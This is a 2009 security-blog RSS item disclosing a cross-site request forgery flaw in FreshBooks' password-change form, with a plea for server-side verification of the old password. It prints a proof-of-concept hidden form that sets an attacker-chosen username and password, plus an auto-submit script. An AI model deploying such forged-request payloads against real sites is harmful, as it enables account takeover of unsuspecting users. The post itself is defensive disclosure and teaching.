<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>nGenuity Information Services &#187; FreshBooks</title>
	<atom:link href="http://www.ngenuity.org/wordpress/tag/freshbooks/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ngenuity.org/wordpress</link>
	<description>Security for the A.D.D generation</description>
	<lastBuildDate>Wed, 10 Mar 2010 19:25:58 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>FreshBooks &#8211; Signup to Exploit in 5 minutes</title>
		<link>http://www.ngenuity.org/wordpress/2009/05/03/freshbooks-signup-to-exploit-in-5-minutes/</link>
		<comments>http://www.ngenuity.org/wordpress/2009/05/03/freshbooks-signup-to-exploit-in-5-minutes/#comments</comments>
		<pubDate>Sun, 03 May 2009 17:10:36 +0000</pubDate>
		<dc:creator>Adam Baldwin</dc:creator>
				<category><![CDATA[Authentication]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[FreshBooks]]></category>
		<category><![CDATA[webappsec]]></category>

		<guid isPermaLink="false">http://www.ngenuity.org/wordpress/?p=270</guid>
		<description><![CDATA[I have run into the this particular issue a lot in the past few weeks. It&#8217;s like the new generation of web developers have forgotten about security principles (must be a web 2.0 thing.) For an example of this particular issue, I will use a zero day vulnerability in the popular time tracking / invoicing [...]]]></description>
			<content:encoded><![CDATA[<p>I have run into the this particular issue a lot in the past few weeks. It&#8217;s like the new generation of web developers have forgotten about security principles (must be a web 2.0 thing.) For an example of this particular issue, I will use a zero day vulnerability in the popular time tracking / invoicing app <a title="FreshBooks" href="http://www.freshbooks.com" target="_blank">FreshBooks</a>. This vulnerability literally took only 5 minutes to identify. It has to make one think about the level of effort these web app companies really put into security, I know it makes me think twice about giving somebody else control of my information.</p>
<p>Now for the fun stuff, I will explain below that a user with a logged in FreshBooks session that visits a malicious website could have their account credentials (username, password) changed in such a manner that they would not know immediately, giving the attacker full control.</p>
<p><strong>It&#8217;s all about verifiable trust</strong></p>
<p>Web applications, especially ones that are password protected, rely on the fact that your browser will send the session ID with <strong>every </strong>browser request. This is a very important design consideration for web app developers designing privileged sections/actions of the application.</p>
<p>For example if a web app developer designs using the mentality &#8220;a user has to be logged in (has a valid session) to change their password or do any other privileged activities,&#8221; not only is the logged in user able to do those actions but any other page they visit has the ability to have their browser make those requests too. All because of the designed browser behaviour of having your session sent with your request. This is session based trust.</p>
<p>What we need to solve this is transaction based trust. We need the client to prove they are not only allowed from an authentication perspective but are authorized to make this transaction. Now the important part.</p>
<p>For a password change the <strong>old password should be provided and verified server side</strong>. For other privileged operations other tokens and methods can be used.</p>
<p><strong>Tell me how to exploit FreshBooks already!</strong></p>
<p>As you might have guessed by now FreshBooks does not ask for the old password when setting account information, trusting only on session authentication, bad design flaw. They ask for First Name, Last Name, Email address, username, new password, verify password. They also don&#8217;t deploy any other protection mechanisms (which I&#8217;m not going to get into here.) So when the FreshBooks user fills out the form and presses save the server takes what the user sent, verified the session was good and saved the info. No other verification is done.</p>
<p style="text-align: center;"><img class="size-medium wp-image-274 aligncenter" title="FreshBooks " src="http://www.ngenuity.org/wordpress/wp-content/uploads/2009/05/freshbooks-300x202.png" alt="FreshBooks " width="300" height="202" /></p>
<p style="text-align: left;">Most of you won&#8217;t care, but this is the code that makes up the form in the background (in essence anyway.)</p>
<p style="text-align: left;">&lt;form name=&#8221;csrf&#8221; action=&#8221;https://xxxxxx.freshbooks.com/menu.php?route=usernameAndPass&#8221; method=&#8221;post&#8221; target=&#8221;hidden&#8221;&gt;<br />
&lt;input type=&#8221;text&#8221; name=&#8221;fname&#8221; value=&#8221;Joe&#8221;  /&gt;<br />
&lt;input type=&#8221;text&#8221; name=&#8221;lname&#8221; value=&#8221;Schmoe&#8221; /&gt;<br />
&lt;input type=&#8221;text&#8221; name=&#8221;email&#8221; value=&#8221;adam@ngenuity-is.com&#8221; /&gt;<br />
&lt;input type=&#8221;text&#8221; name=&#8221;rate&#8221; value=&#8221;0.00&#8243; /&gt;<br />
&lt;input type=&#8221;text&#8221; name=&#8221;admin_username&#8221; value=&#8221;USERNAME&#8221; /&gt;<br />
&lt;input type=&#8217;password&#8217; name=&#8221;admin_password&#8221; value=&#8221;PASSHERE&#8221; /&gt;<br />
&lt;input type=&#8221;password&#8221; name=&#8221;admin_password2&#8243; value=&#8221;PASSHERE&#8221; /&gt;<br />
&lt;input type=&#8221;submit&#8221; name=&#8221;save&#8221; /&gt;<br />
&lt;/form&gt;</p>
<p style="text-align: left;">This should be pretty straight forward as to what each piece is when compared to the above image. A quick addition of &lt;script&gt;document.csrf.submit();&lt;/script&gt; and the browser executes the code for us with no human interaction. Throw all of this (with a few more important details you have to figure out yourself) on a website and you have a nice little, targeted exploit.</p>
<p style="text-align: left;">All of this could have been avoided if FreshBooks would have simply asked the user for their old password and verified that old password. Sure there are technical controls they can put in place to protect against some of these things, but really this should have been caught during a design assessment of the application.</p>
<p style="text-align: left;">
<p>Special thanks to <a title="&amp;yet Web Design" href="http://www.andyet.net" target="_blank">Adam Brault</a> for helping me test the exploit outside of the lab and agreeing to be pwned.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ngenuity.org/wordpress/2009/05/03/freshbooks-signup-to-exploit-in-5-minutes/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
